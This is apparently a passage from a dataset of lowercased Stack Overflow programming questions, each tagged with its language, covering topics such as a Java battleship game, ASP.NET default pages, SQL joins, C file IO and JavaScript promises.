{          return (this.shipssunk == 1);     }      /**      * whether the specified position is occupied by a ship and is not empty      * sea.      * @param row      * @param column      * @return true if the position has a ship; else false      */     public boolean isoccupied(int row  int column) {         system.out.println( occupardo  you no go here );         return !(this.ships[row][column] instanceof conflict);     }      public void placeshipsp1() {         system.out.println(  );         print();          arraylist&lt;ships&gt; shipstomove = this.generateinitialshiparraylist1();         player1 = this.generateinitialshiparraylist1();          boolean oktoplaceshiphere = false;         int row = 0;         int column = 0;         string tp =  1 ;         boolean horizontal = false;         if(oktoplaceshiphere = false){                 system.out.println( occupardo  you no go here );             }         for (ships ship : player1) {             while (!oktoplaceshiphere) {                  scanner scanner = new scanner( system.in );                  system.out.println( player1 enter a row and column (e.g.  2 3) );                  system.out.println( please enter the row of   + ship.getshiptype());                  string[] coordinates = scanner.nextline().split(   );                 if (coordinates.length != 2) {                     system.out.println( please enter coordinates in the correct format. );                     continue;                 }                 row = integer.parseint(coordinates[0].trim());                 column = integer.parseint(coordinates[1].trim());                 ship.setx(row);                 ship.sety(column);                 system.out.println(ship.getx() +     + ship.gety());                 // row = random.nextint(6);                // column = random.nextint(9);                 horizontal = true;                  oktoplaceshiphere = ship.oktoplaceshipat(row   column  horizontal  this);              }             if( oktoplaceshiphere = true){                 this.bombop(row  column);             }              ship.setbowcolumn(column);             ship.setbowrow(row);             ship.setplayer(tp);             ship.setx(row);             ship.sety(column);             system.out.println(ship.getx() +     + ship.gety()  +     + ship.getplayer());             ship.sethorizontal(horizontal);             this.placeshipintoshipsarray(ship);             oktoplaceshiphere = false;             system.out.println(  );             print();         }            }      public void placeshipsp2() {         system.out.println(  );         print();          arraylist&lt;ships&gt; shipstoplace = this.generateinitialshiparraylist1();         player2 = this.generateinitialshiparraylist2();          boolean oktoplaceshiphere = false;         int row = 0;         int column = 0;         string tp =  2 ;         boolean horizontal = false;         if(oktoplaceshiphere = false){                 system.out.println( occupardo  you no go here );             }         for (ships ship : player2) {             while (!oktoplaceshiphere) {                  scanner scanner = new scanner( system.in );                  system.out.println( player 2 enter a row and column (e.g.  2 3) );                  system.out.println( please enter the row of   + ship.getshiptype());                  string[] coordinates = scanner.nextline().split(   );                 if (coordinates.length != 2) {                     system.out.println( please enter coordinates in the correct format. );                     continue;                 }                 row = integer.parseint(coordinates[0].trim());                 column = integer.parseint(coordinates[1].trim());                 ship.setx(row);                 ship.sety(column);                 system.out.println(ship.getx() +     + ship.gety());  //              row = random.nextint(6); //              column = random.nextint(9);                 horizontal = true;                  oktoplaceshiphere = ship.oktoplaceshipat(row   column  horizontal  this);              }               ship.setbowcolumn(column);             ship.setbowrow(row);             ship.setplayer(tp);             ship.setx(row);             ship.sety(column);             system.out.println(ship.getx() +     + ship.gety() +     + ship.getplayer());             ship.sethorizontal(horizontal);             this.placeshipintoshipsarray(ship);             oktoplaceshiphere = false;             system.out.println(  );             print();         }            }      /**      * place the given ship into locations in the      * 2darray that tracks ship positions.      * @param ship      */     private void placeshipintoshipsarray(ships ship) {         int row = ship.getbowrow();         int column = ship.getbowcolumn();  //      player1.add.ship;         player1.removeall(player1);         player2.removeall(player2);          if (ship.ishorizontal()) {             for (int i=0; i &lt; ship.getlength(); i++) {                               this.ships[row][(column+i)] = ship;             }         }         else {             for (int i=0; i &lt; ship.getlength(); i++) {                               this.ships[(row+i)][column] = ship;             }         }     }      public void ifship(){         for (int i=0; i &lt; 1; i++){             board();         }      }      private void placeshipintoshipsarray2(ships ship) {         int row = ship.getbowrow();         int column = ship.getbowcolumn();           //player1.add.ships;         player1.removeall(player1);         player2.removeall(player2);         //ship.clear();          if (ship.ishorizontal()) {             for (int i=0; i &lt; ship.getlength(); i++) {                               this.ships2[row][(column+i)] = ship;             }         }         else {             for (int i=0; i &lt; ship.getlength(); i++) {                               this.ships2[(row+i)][column] = ship;             }         }      } public void display() {          system.out.print(      );         for (int i=0; i &lt; 9; i++) {             system.out.print(i +     );         }         system.out.print( \n );          for (int row=0; row &lt; 6; row++) {             system.out.print(    + row +     );             for (int col=0; col &lt; 9; col++) {                 string value =   ;                 if (this.locationsfiredupon[row][col]) {                     value =  - ;                 }                 if (this.ships2[row][col] != null) {                     value = this.ships2[row][col].tostring() ;                 }                 else {                     value =  - ;                 }                  system.out.print(value +     );             }             system.out.print( \n );         }         remap();     }        boolean pr = false;     boolean pr2 = false;      public void moveship(){         system.out.println( so you wanna move a ship );         system.out.println(player1);          for (int i=0; i &gt; 1; i++) {             print();             system.out.println( map 1 );             pr = true;         }         if (pr = true){             display();         }          //arraylist&lt;ships&gt; shipstomove = new arraylist&lt;&gt;();         arraylist&lt;ships&gt; shipstomove = new arraylist&lt;&gt;();         arraylist&lt;ships&gt; shipstomove1 = player1;         boolean notmoved = false;         int rowm = 0;         int columnm = 0;         string tp =  1 ;         boolean horizontal = false;         if(notmoved = false){                 system.out.println( occupardo  you no go here );             }         system.out.println( gets here 1 );          for (ships shipm : shipstomove1) {             system.out.println( gets here 2 );             while (!notmoved) {                   scanner scanner1 = new scanner( system.in );                  system.out.println( enter a area to move to (e.g.  2 3) );                  system.out.println( please enter a movement for the:   + shipm.getshiptype() + shipm.getbowrow());                  string[] coordinates = scanner1.nextline().split(   );                 if (coordinates.length != 2) {                     system.out.println( please enter coordinates in the correct format. );                     continue;                 }                 rowm = integer.parseint(coordinates[0].trim());                 columnm = integer.parseint(coordinates[1].trim());  //              row = random.nextint(6); //              column = random.nextint(9);                 horizontal = true;                  notmoved = shipm.oktoplaceshipat(rowm   columnm  horizontal  this);                          }              if( notmoved = true){                 this.bombop(rowm  columnm);             }              shipm.setbowcolumn(columnm);             shipm.setbowrow(rowm);             shipm.sethorizontal(horizontal);             this.placeshipintoshipsarray2(shipm);             notmoved = false;             system.out.println(  );             display();         }            }      public void moveship2(arraylist&lt;ships&gt; player2){         system.out.println( so you wanna move a ship );          for (int i=0; i &gt; 1; i++) {             display();             pr2 = true;         }         if (pr2 = true){             display();         }          arraylist&lt;ships&gt; shipstomove = new arraylist&lt;&gt;();         player2 = this.player2;         boolean notmoved = false;         int rowm = 0;         int columnm = 0;         string tp =  1 ;         boolean horizontal = false;         if(notmoved = false){                 system.out.println( occupardo  you no go here );             }         system.out.println( gets here 1 );          for (ships ship : player2) {             system.out.println( gets here 2 );             while (!notmoved) {                  scanner scanner1 = new scanner( system.in );                  system.out.println( enter a area to move to (e.g.  2 3) );                  system.out.println( please enter a movement for the:   + ship.getshiptype());                  string[] coordinates = scanner1.nextline().split(   );                 if (coordinates.length != 2) {                     system.out.println( please enter coordinates in the correct format. );                     continue;                 }                 rowm = integer.parseint(coordinates[0].trim());                 columnm = integer.parseint(coordinates[1].trim());  //              row = random.nextint(6); //              column = random.nextint(9);                 horizontal = true;                  notmoved = ship.oktoplaceshipat(rowm   columnm  horizontal  this);                           }             if( notmoved = true){                 this.bombop(rowm  columnm);             }              ship.setbowcolumn(columnm);             ship.setbowrow(rowm);             ship.sethorizontal(horizontal);             this.placeshipintoshipsarray2(ship);             notmoved = false;             system.out.println(  );             display();             display();         }            }         /**      * print the current state of the game.      */     public void print() {          system.out.print(      );         for (int i=0; i &lt; 9; i++) {             system.out.print(i +     );         }         system.out.print( \n );          for (int row=0; row &lt; 6; row++) {             system.out.print(    + row +     );             for (int col=0; col &lt; 9; col++) {                 string value =   ;                 if (this.locationsfiredupon[row][col]) {                     value =  - ;                 }                 **if (this.ships[row][col] != null) {                     value = this.ships[row][col].tostring() ;**                 }                  if (this.locationsfiredupon[row][col]) {                     value = this.ships2[row][col].tostring();                 }                 if (this.ships2[row][col] != null) {                 value = this.ships2[row][col].tostring() ;                 }                 else {                     value =  - ;                 }                  system.out.print(value +     );             }             system.out.print( \n );         }      }        public void print2() {          system.out.print(      );         for (int i=0; i &lt; 9; i++) {             system.out.print(i +     );         }         system.out.print( \n );          for (int row=0; row &lt; 6; row++) {             system.out.print(    + row +     );             for (int col=0; col &lt; 9; col++) {                 string value =   ;                 if (this.locationsfiredupon[row][col]) {                     value =  - ;                 }                 if (this.shipsm[row][col] != null) {                     value = this.shipsm[row][col].tostring() ;                 }                 if (this.locationsfiredupon[row][col]) {                 value = this.ships2[row][col].tostring();             }                 if (this.ships2[row][col] != null) {                 value = this.ships2[row][col].tostring() ;             }                 else {                     value =  - ;                 }                  system.out.print(value +     );             }             system.out.print( \n );         }         board();     }     /**      * handle a shot fired at the specified position.      * @param row      * @param column      * @return  true if a ship was hit; else false      */     public boolean bombop(int row  int column) {         this.shotsfired++;         this.locationsfiredupon[row][column] = true;          ships shipatlocation = this.ships[row][column];               if (shipatlocation.issunk()) {             return false;         }          boolean shipwashit = shipatlocation.bombop(row  column);          if (shipwashit) {             this.hitcount++;         }          if (shipatlocation instanceof conflict) {             return shipwashit;         }          if (shipatlocation.issunk()) {             shipssunk++;         }          return shipwashit;     } </code></pre>,java
how to set default page asp.net  i ve just published my site in my server  but when i type in the browser www.mysite.com  i get this error : http error 403.14 - forbidden     the web server is configured to not list the contents of this directory.however if i type www.mysite.com/home.aspx it loads correctly. so  how can i set the default page   i already have this in my web.config :    <pre><code>&lt;system.webserver&gt;    &lt;defaultdocument&gt;      &lt;files&gt;        &lt;add value= pages/home.aspx  /&gt;      &lt;/files&gt;    &lt;/defaultdocument&gt;   &lt;/system.webserver&gt; </code></pre>,asp.net
sql query from relations  if i have these relations:   <ul> <li>races(<strong>raceid</strong>  description)</li> <li>results(<strong><em>horsename</em>  <em>raceid</em></strong>  finishtime  prizemoney)</li> <li>horses(<strong>horsename</strong>  <em>mothername</em>  <em>fathername</em>)</li> <li>owners(<strong><em>personname  horsename</em></strong>)</li> <li>persons(<strong>personname</strong>)</li> </ul>   and i want to find the name of all owners that own horses who have not participated in a race.    this is my solution:   <pre><code>select personname from owners where horsename not in (select horsename from results); </code></pre>   however according to the answer sheet they do like this:   <pre><code>select distinct personname from owners natural join horses left outer join results on horses.horsename = results.horsename where prizemoney is null; </code></pre>,sql
search if nsstring contains value  i have some string value which constructed from a few characters    and i want to check if they exist in another nsstring  without case sensitive  and spaces .    example code :   <pre><code>nsstring *me = @ tobe  ; nsstring *target=@ abcdetobe  ; //than check if me is in target. </code></pre>   here i will get <code>true</code> because <code>me</code> exist in <code>target</code> . how can i check for such condition      i have read <a href= https://stackoverflow.com/questions/2753956/how-do-i-check-if-a-string-contains-another-string-in-objective-c >how do i check if a string contains another string in objective-c </a> but its case sensitive and i need to find with no case sensitive..,objective-c
java threading .start() vs .run()  what is the difference between calling thread.start() and thread.run()  thread.start() will invoke the run() method and also the threading. can we achieve multithreading by just calling the thread.run()   because i saw some examples in other software and doubt by just calling .run() it will spawn another thread.,java
c++ remove doubles from an vector using <algorithm> and <functional>  for a school assignment  i need to use <code>&lt;algorithm&gt;</code> and <code>&lt;functional&gt;</code> to remove all the double elements of a vector. this is what i came up with but it has an error.     what am i doing wrong    <blockquote>    severity   code    description project file    line    suppression state   error   c3867    std::vector&lt;std::string std::allocator&lt;_ty>>::size : non-standard syntax; use  &amp;  to create a pointer to member  opdracht5   c:\users\mike\documents\visual studio 2015\projects\opdracht5\opdracht5\main.cpp    38    </blockquote>  <pre><code>bool isequal(string s  string s2) {     if (s == s2)     {         return true;     }     else     {         return false;     } }   int main() {      vector&lt;string&gt; coulours2 = {  red    green    blue    orange    purple    orange    black    green  };      vector&lt;string&gt; removeddoubles;      removeddoubles.resize(coulours2.size());      vector&lt;string&gt;::iterator it;      it = unique_copy(removeddoubles.begin()  it  removeddoubles.begin()  isequal);      removeddoubles.resize(distance(removeddoubles.begin()  it));      return 0; } </code></pre>,c++
why is the heading message not displayed in the console   why is this method not working here  i want it to display the heading message this way but why is it not displaying it    <pre><code>using system;  namespace rd {     class program     {         static void main(string[] args)         {             setget sgobj = new setget();             login _login = new login();             console.writeline(sgobj.heading);             console.readkey();         }     }      class setget     {         public string heading         { set; get; }     }      class login     {         setget setobj = new setget();         public void header_message()         {             setobj.heading=  ************************************************************************************* +                  \n************************************************************************************* +                  \n*************************                             ******************************* +                  \n************************* welcome to radeon limited.. ******************************* +                  \n*************************                             ******************************* +                  \n************************************************************************************* +                  \n************************************************************************************* ;         }     } } </code></pre>,c#
why is a thread stuck in whitespacebasedbreakiterator  only in java 7   some action in an application (samurai) runs quite slowly in java 7 (1.7.0_45_x64)  but works well in 1.6.0_34 32bit.    when waiting  this thread seems to be looping on this:   <pre><code> awt-eventqueue-0  prio=6 tid=0x000000001234d000 nid=0x253c runnable [0x000000001431c000]    java.lang.thread.state: runnable     at javax.swing.text.whitespacebasedbreakiterator.settext(whitespacebasedbreakiterator.java:67)     at javax.swing.text.glyphview.getbreakspot(glyphview.java:794)     at javax.swing.text.glyphview.getminimumspan(glyphview.java:551)     at javax.swing.text.paragraphview.calculateminoraxisrequirements(paragraphview.java:731)     at javax.swing.text.html.paragraphview.calculateminoraxisrequirements(paragraphview.java:157)     at javax.swing.text.boxview.checkrequests(boxview.java:935)     at javax.swing.text.boxview.getminimumspan(boxview.java:568)     at javax.swing.text.html.paragraphview.getminimumspan(paragraphview.java:270)     at javax.swing.text.boxview.calculateminoraxisrequirements(boxview.java:903)     at javax.swing.text.html.blockview.calculateminoraxisrequirements(blockview.java:146)     at javax.swing.text.boxview.checkrequests(boxview.java:935)     at javax.swing.text.boxview.getminimumspan(boxview.java:568)     at javax.swing.text.html.blockview.getminimumspan(blockview.java:378)     at javax.swing.text.boxview.calculateminoraxisrequirements(boxview.java:903)     at javax.swing.text.html.blockview.calculateminoraxisrequirements(blockview.java:146)     at javax.swing.text.boxview.checkrequests(boxview.java:935)     at javax.swing.text.boxview.setspanonaxis(boxview.java:343)     at javax.swing.text.boxview.layout(boxview.java:708)     at javax.swing.text.boxview.setsize(boxview.java:397)     at javax.swing.plaf.basic.basictextui$rootview.setsize(basictextui.java:1714)     at javax.swing.plaf.basic.basictextui.getpreferredsize(basictextui.java:912)     at javax.swing.jcomponent.getpreferredsize(jcomponent.java:1660)     at javax.swing.jeditorpane.getpreferredsize(jeditorpane.java:1332)     at javax.swing.scrollpanelayout.layoutcontainer(scrollpanelayout.java:790)     at java.awt.container.layout(container.java:1503)     at java.awt.container.dolayout(container.java:1492)     at java.awt.container.validatetree(container.java:1688)     at java.awt.container.validate(container.java:1623)     - locked &lt;0x0000000701400770&gt; (a java.awt.component$awttreelock)     at javax.swing.repaintmanager$2.run(repaintmanager.java:691)     at javax.swing.repaintmanager$2.run(repaintmanager.java:689)     at java.security.accesscontroller.doprivileged(native method)     at java.security.protectiondomain$1.dointersectionprivilege(protectiondomain.java:76)     at javax.swing.repaintmanager.validateinvalidcomponents(repaintmanager.java:688)     at javax.swing.repaintmanager$processingrunnable.run(repaintmanager.java:1676)     at java.awt.event.invocationevent.dispatch(invocationevent.java:251)     at java.awt.eventqueue.dispatcheventimpl(eventqueue.java:733)     at java.awt.eventqueue.access$200(eventqueue.java:103)     at java.awt.eventqueue$3.run(eventqueue.java:694)     at java.awt.eventqueue$3.run(eventqueue.java:692)     at java.security.accesscontroller.doprivileged(native method)     at java.security.protectiondomain$1.dointersectionprivilege(protectiondomain.java:76)     at java.awt.eventqueue.dispatchevent(eventqueue.java:703)     at java.awt.eventdispatchthread.pumponeeventforfilters(eventdispatchthread.java:242)     at java.awt.eventdispatchthread.pumpeventsforfilter(eventdispatchthread.java:161)     at java.awt.eventdispatchthread.pumpeventsforhierarchy(eventdispatchthread.java:150)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:146)     at java.awt.eventdispatchthread.pumpevents(eventdispatchthread.java:138)     at java.awt.eventdispatchthread.run(eventdispatchthread.java:91) </code></pre>,java
how to open a sequence of small windows always in the same window   i know how to open a small window:    <pre><code>function smallwindow(theurl winname)   {window.open(theurl winname  toolbar=yes scrollbars=yes  menubar=yes toolbar=yes resizable=yes width=800 height=500 left=300 top=200 );} </code></pre>   being called as   <pre><code>&lt;a href= http://newurl.html  onclick= smallwindow(this.href    ); return false &gt;   click here&lt;/a&gt; </code></pre>   the problem is that with many clicks in various links of a big window this produces a sequence of different small windows. i want all those small windows overlapping each other on the same window. i tried to give a window name  win   <pre><code>function smallwindow(theurl winname) {window.open(theurl  win   toolbar=yes scrollbars=yes menubar=yes toolbar=yes  resizable=yes width=800 height=500 left=300 top=200 ); </code></pre>   but when a new small window is opened  the browser does not jump to it  and the user does not get aware that the new small window was opened!    i could not find an answer to this problem. thanks for any help.,html
connect over a clear tcp socket connection  i need to connect over a clear tcp socket connection with a defined ip and port  that is used as an argument when the program is ran. then once it is connected i need to send a command through and then get a response back from the server. are there any good tutorials for c# out there for this  all i could find were ones that had port and ip set within the program.    so i got some of it working  but can t get the input from command line. i need to send data that is inputted and the return a response.   <pre><code> tcpclient client = new tcpclient(hostname  portnumber);  streamreader sr = new streamreader(client.getstream());  streamwriter sw = new streamwriter(client.getstream());  string data = sr.readline();   while (data != null)         {                sw.writeline(data);               data = sr.readline();             console.writeline( \nsend:   + data);             } </code></pre>,c#
text file to dictionary as keys  how can i convert file s words to dictionary as it s keys  directly  without using the list  here is my code:   <pre><code>def abc(f):     with open(f   r )as f:         dict = {}         lst = []         for line in f:             lst += line.strip().split()         for item in lst:             dict[item] =        return dict   print(abc( file.txt )) </code></pre>   example of input  file.txt :   <pre><code>abc def ghi jkl mno pqr </code></pre>   output:   <pre><code>{ abc :     def :     ghi :     jkl :     mno :     pqr :  } </code></pre>   the output of split() is a list. so  by use of that i need to read the data from file  store it on a list and then define it as dictionary s keys. my question is how can we ignore the list  and after reading data from file  put them directly to the dictionary,python
storing an array of values in a single checkbox   is it possible to store multiple values in a single checkbox     for instance:   <pre><code>&lt;input type= checkbox  value= [0 2] &gt; &lt;input type= checkbox  value= [3 6] &gt; &lt;input type= checkbox  value= [7 10] &gt; </code></pre>   ...,html
routing inspection  is there any way possible to get the child paths given a path     i mean given the following routes:   <pre><code>map.resources :users do |user|   user.resources :articles   ... end </code></pre>   if i give path =  users/1   is there any way to get the routes users/1/edit  users/1/articles  users/1/articles/new      thanks in advance. -satynos,ruby-on-rails
angularjs function to filter data  i have a column in mysql database called date and each posts have a different date like: 2015-1-1<br> i have created a function to check if today s date matches the date in the mysql db so it filters the post by date.    here is my app.js   <pre><code>  app.controller( timecontroller   function($scope  $http) {       $http.post( ajax/getquotes.php ).success(function(data){           $scope.quote = filterbydate(data);        });         function filterbydate(input) {           var date = new date();            var day = date.getdate();           var month = date.getmonth() + 1;           var year = date.getfullyear();           var matchdate = year +  -  + day+  -  + month;           if( input[value] == matchdate){               return data;            }         } </code></pre>   but this is not working  any advise,angularjs
android map related  i have been trying to code for map activity from  <a href= http://androider.blogspot.in/2013/01/google-maps-android-api-v2-example_3.html  rel= nofollow >http://androider.blogspot.in/2013/01/google-maps-android-api-v2-example_3.html</a>    but  i am getting error in    <pre><code> import com.google.android.gms.common.connectionresult;  import com.google.android.gms.common.googleplayservicesutil;  import com.google.android.gms.maps.cameraupdatefactory;  import com.google.android.gms.maps.googlemap;  import com.google.android.gms.maps.googlemap.onmaplongclicklistener;  import com.google.android.gms.maps.mapfragment;  import com.google.android.gms.maps.supportmapfragment;  import com.google.android.gms.maps.googlemap.onmapclicklistener;  import com.google.android.gms.maps.model.latlng;  import com.google.android.gms.maps.model.markeroptions; </code></pre>   its not possibe to add above mentioned imports as well as googlemap class too. can any one help me to get rid of this  am very new to android and learning my self.,android
how do i disable right click to download images in javascript   the expected behavior is:   <ul> <li>when the user right-clicks on  images only  a copyright statement is shown.</li> <li>if the user selects to suppress alert messages from the webpage  the context-menu to save the image still does not appear.</li> <li>works across  all  web browsers (incl. ie 8+  opera  google chrome  apple safari  &amp; mozilla firefox).</li> <li>i want to be able to put this code in its own  .js  file  by the name <code>image_norightclick.js</code>.</li> </ul>  <h3>code:</h3>  <pre><code>var message= copyright \u00a9 2015 [your name here] ;  function disableclick(e) {    if (document.all) {     if (((event.button == 2) || (event.button == 3)) &amp;&amp; ((event.srcelement.tagname ==  img ) || (event.srcelement.getattribute( type ).touppercase() ==  image ))) {       if (event.srcelement.oncontextmenu) {         event.srcelement.oncontextmenu = function(event) {           if (event.preventdefault) {             event.preventdefault();           };           if (event.stoppropagation) {             event.stoppropagation();           };           if (event.returnvalue) {             event.returnvalue = false;           };         };       } else {          if (event.srcelement.addeventlistener) {           event.srcelement.addeventlistener( contextmenu   function(event) {               if (event.preventdefault) {                 event.preventdefault();               };               if (event.stoppropagation) {                 event.stoppropagation();               };               if (event.returnvalue) {                 event.returnvalue = false;               };             }            );         } else if (event.srcelement.attachevent) {           event.srcelement.attachevent( contextmenu   function(event) {               if (event.preventdefault) {                 event.preventdefault();               };               if (event.stoppropagation) {                 event.stoppropagation();               };               if (event.returnvalue) {                 event.returnvalue = false;               };             }            );         };        };        alert(message);       return false;     };   } else if (document.layers) {     if ((e.which == 2) || (e.which == 3)) {        if (e.target.oncontextmenu) {         e.target.oncontextmenu = function(e) {           if (e.preventdefault) {             e.preventdefault();           };           if (e.stoppropagation) {             e.stoppropagation();           };           if (e.returnvalue) {             e.returnvalue = false;           };         };       } else {          if (e.target.addeventlistener) {           e.target.addeventlistener( contextmenu   function(e) {               if (e.preventdefault) {                 e.preventdefault();               };               if (e.stoppropagation) {                 e.stoppropagation();               };               if (e.returnvalue) {                 e.returnvalue = false;               };             }            );         };         };         alert(message);       return false;     };   } else if (document.getelementbyid)    {     if (((e.which == 2) || (e.which == 3)) &amp;&amp; ((e.target.tagname ==  img ) || (e.target.getattribute( type ) &amp;&amp; e.target.getattribute( type ).touppercase() ==  image ))) {         if (e.target.oncontextmenu) {         e.target.oncontextmenu = function(e) {           if (e.preventdefault) {             e.preventdefault();           };           if (e.stoppropagation) {             e.stoppropagation();           };           if (e.returnvalue) {             e.returnvalue = false;           };         };       } else {         if (e.target.addeventlistener) {           e.target.addeventlistener( contextmenu   function(e) {               if (e.preventdefault) {                 e.preventdefault();               };               if (e.stoppropagation) {                 e.stoppropagation();               };               if (e.returnvalue) {                 e.returnvalue = false;               };             }            );         };         };         alert(message);       return false;      };   };  };  function associateimages() {   for (i = 0; i &lt; document.images.length; i++) {     document.images[i].onmousedown = disableclick;   };  };  if (document.all) {   if (document.onmouseup) {     document.onmouseup = disableclick;   } else {     window.onmouseup = disableclick;   };  } else if (document.getelementbyid) {   if (document.onmousedown) {     document.onmousedown = disableclick;   } else {     window.onmousedown = disableclick;   };  } else if (document.layers) {   associateimages(); }; </code></pre>,javascript
paging on gridview control vs-2008  if you followed my previous post   <pre><code>var filtereduser = from u in collection                                select new  {u.fname u.lname};             gridview.datasource = filtereduser;             gridview.databind(); </code></pre>   now i am trying to do this:   <ol> <li> format the column names based on properties of u. so for example if u.fname chancges to u.firstname then i want my gridview column name to reflect the same </li> <li> if i enable paging through the design view  code compiles but when i launch the web app  it fails stating  the data source does not support server-side data paging  </li> </ol>   edit::found this for item # 2 <a href= http://www.devtoolshed.com/2008/03/gridview-objectdatasource-linq-paging.html  rel= nofollow noreferrer >link text</a>,asp.net
get destination url in android  how can i have the url of destination of a web page in <code>webview</code>        i explain: i have a web page in my <code>webview</code>; when i click on a link in the web page  i would like to have the address of the link  is this possible       thank you very much.,android
how to save a file from an url to local in objective-c  according to a <a href= http://www.edumobile.org/iphone/iphone-programming-tutorials/parsing-an-xml-file/  rel= nofollow ><strong>tutorial</strong></a>  the code in xmlappdelegate.m file as below is going to parse the xml file directly from a given url.    i want to ask is there any way to save the xml file to the local memory first  then process the parsing work accordingly     thanks   <pre><code>nsurl *url = [[nsurl alloc] initwithstring:@ http://www.edumobile.org/blog/uploads/xml-parsing-data/data.xml ]; nsxmlparser *xmlparser = [[nsxmlparser alloc] initwithcontentsofurl:url]; </code></pre>,objective-c
python using multiple index s of a list to find multiple values  i m just a newbie to python so my code probably doesn t look that good  but it works fine except one thing.  if for example my listofnumberofpancakes is [1 2 3 3] and i m looking for the max which is 3  it will print out index 2 and 3. but  later on in my code  when i want to print the values of my listofnames of index 2 and 3  it will print person2 ate the most pancakes and on a new line person3 ate the most pancakes  how can i put that together  like: person2 and person3 ate the most pancakes. here s my code:    <pre><code>pancakes listofnames = [] listofnumberofpancakes = [] print  i will ask you ten times to give in the name of a person and how many pancakes he/she ate.  for count in range(0 10):     name = str(raw_input( what s the name of the person  ))     numberofpancakes = int(raw_input( and how many pancakes did he/she eat  ))     listofnames.append(name)     listofnumberofpancakes.append(numberofpancakes) print  \n  print  the max of pancakes eaten by a person was:    max(listofnumberofpancakes) print  the minimum of pancakes eaten by a person was:    min(listofnumberofpancakes)  for i  j in enumerate(listofnumberofpancakes):     if j == max(listofnumberofpancakes):         print listofnames[i]   ate the most pancakes  for lala  a in enumerate(listofnumberofpancakes):     if a == min(listofnumberofpancakes):         print listofnames[lala]   ate the least pancakes  print listofnumberofpancakes </code></pre>   example of an output:   <pre><code>the max of pancakes eaten by a person was:  9 the minimum of pancakes eaten by a person was:  1 emma ate the most pancakes tina ate the most pancakes ina ate the least pancakes [3  3  2  5  9  9  2  1  8  4] </code></pre>,python
why are parenthesis required for calling member functions on dereferenced pointers   why are the parenthesis surrounding the pointer in this code snippet necessary    <pre><code>cout &lt;&lt; (*pstr).size() &lt;&lt; endl; </code></pre>   after looking back in my book i finally found a small mention of it in a footnote that i had looked over.    it says   --this ensures that the dot operator will be applied to the object to which the pointer points.      why does this not work    <pre><code>cout &lt;&lt; *pname.size() &lt;&lt; endl; </code></pre>   i m only asking because my book doesn t give a very good explanation and because i just wasted a lot of time trying to figure out why this line of code was giving an error for me. (i forgot the parenthesis  of course),c++
how to make picture auto fill in both computer and phone  i got this website called  languageactivity.net  in the section called blue book lessons picture only auto fill in the computer but when you look through phone it is really small. how can i solve it,html
c file io extra characters when writing and reading from file  ok so i am writing a c program. the program is simple enough  when i run the program i give it a few parameter ex ./proj1 cat hat bat  so then it asks me to input a list of words the program gives counts of how many times  cat    hat   and  bat  occurs  in that list. i have the program working great.   <pre><code>example  ./pro1 cat hat bat cat . </code></pre>   (the program recognized a  .  as the end of input)   <pre><code>result: cat:1 hat:0 bat:0 </code></pre>   ok so my program runs perfectly in every test case i can think of  but i have to pass a series of tests that my professor has mas made. here is the code of that test.   <pre><code>char *args[] = { ./main    cat    hat   bat  null}; char *result[] = { looking for 3 words\n      result:\n      cat:1\n      hat:0\n      bat:0\n }; file *out; file *test; test=fopen( test   w ); int i; char *buffer=malloc(100*sizeof(char));  out = fopen( smp0.in    w ); fprintf(out   cat\n ); fprintf(out   .\n ); fclose(out);  freopen( smp0.in    r   stdin);   freopen( smp0.out    w   stdout);  quit_if(main(4  args) != exit_success);  fclose(stdin); fclose(stdout);  out = fopen( smp0.out    r );   for (i = 0; i &lt; 5; i++) {     quit_if(fgets(buffer  100  out) == null);     quit_if(strcmp(buffer  result[i])); }   fclose(out); return exit_success;  } </code></pre>   ok so sending the quit_if() is the method that makes it fail. specifically    <pre><code>   quit_if(strcmp(buffer  result[i])); </code></pre>   my output when i run the program is exactly as described. but between <code>freopen()</code> diverting stdout to a file and then reading it back it has changed somehow.   <pre><code>  result:   cat:1   hat:0   batÿ:0 </code></pre>   is what the output becomes  but it is not like that before the file write and read  and for some reason it is always that weird y character.    any advice would be greatly appreciated. sorry for not posting more code but it s because it is a school project. i am confident that it is the test that is wrong in some way and not my code  fixing the test is part of the project as well.,c
css is not loading for my site on ie 7for some unknown reason  css is not loading for my site on ie7 for some unknown reason. its working fine for ie8  chrome and mozilla. you can see the website at <a href= http://www.fineartsbaroda.com  rel= nofollow >www.fineartsbaroda.com</a>,css
what is the easiest way to play sound on the iphone   what is the easiest way to play sound on the iphone  i have an mp3 file  i d rather keep it and not convert it to other format.,iphone
what is a native library  what is the need for binding   what is native library  what is binding  why it is needed,.net
a little help in understanding promise() in javascript  for curiosity and because i think this can be helpful in the future  i tried to do a very simplistic animation through a promise() object  trying to figure it out how it would work and understand how to structure it  but i m a bit unsure of its structure  because there s a function <em>movingbox</em> that doesn t get called.    i was based on these references: <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/promise  rel= nofollow noreferrer >promise | javascript mdn</a> and <a href= https://developer.mozilla.org/en-us/docs/mozilla/javascript_code_modules/promise.jsm/deferred#properties  rel= nofollow noreferrer >deferred | mozilla mdn</a>    this is the code i wrote:   <pre><code>&lt;!doctype html&gt;  &lt;html&gt;     &lt;head&gt;         &lt;style&gt;         #box {             width: 75px;             height: 75px;             position: relative;             background-color: blueviolet;         }         &lt;/style&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;div id= box &gt;&lt;/div&gt;         &lt;script&gt;             var box = document.getelementbyid( box );             var userscreeny = screen[ availheight ];             var h = 0; // move horizontally to the left             var v = 0; // move vertically to the bottom             var pathlength = userscreeny/3;              var animbytimeout = new promise ((resolve  reject) =&gt; {                  resolve(movingbox);             });              animbytimeout.then(                 function(func) {                     func();  // here i suppose movingbox should get called                      console.log(func);                 }             ).catch(                 (reason) =&gt; {                     console.log( error  =   + reason);                 }             );              function movingbox () {                 settimeout(function() {                     if (h &lt; pathlength) {                         h++                         box.style[ left ] = h +  px ;                          if (h &gt;= pathlength/2) {                             v++;                             box.style[ top ] = v +  px ;                         }                          movingbox();                     }                 }  20);             };                          box.addeventlistener( click   animbytimeout);         &lt;/script&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   any clearification of what i am doing wrong would be welcome. thanks in advance.    <strong>edited</strong> i had wrong placed curly braces inside the <code>.then()</code> method  i misunderstood the example given in <a href= https://developer.mozilla.org/en-us/docs/web/javascript/reference/global_objects/promise#examples  rel= nofollow noreferrer >advanced example</a>. this error was pointed out by wiktor zychla in the comments. totally my bad in this point. i already corrected the code above  but to keep track of everything here what was wrong and the corrected way.    <strong>wrong</strong>   <pre><code>animbytimeout.then({ }).catch(... 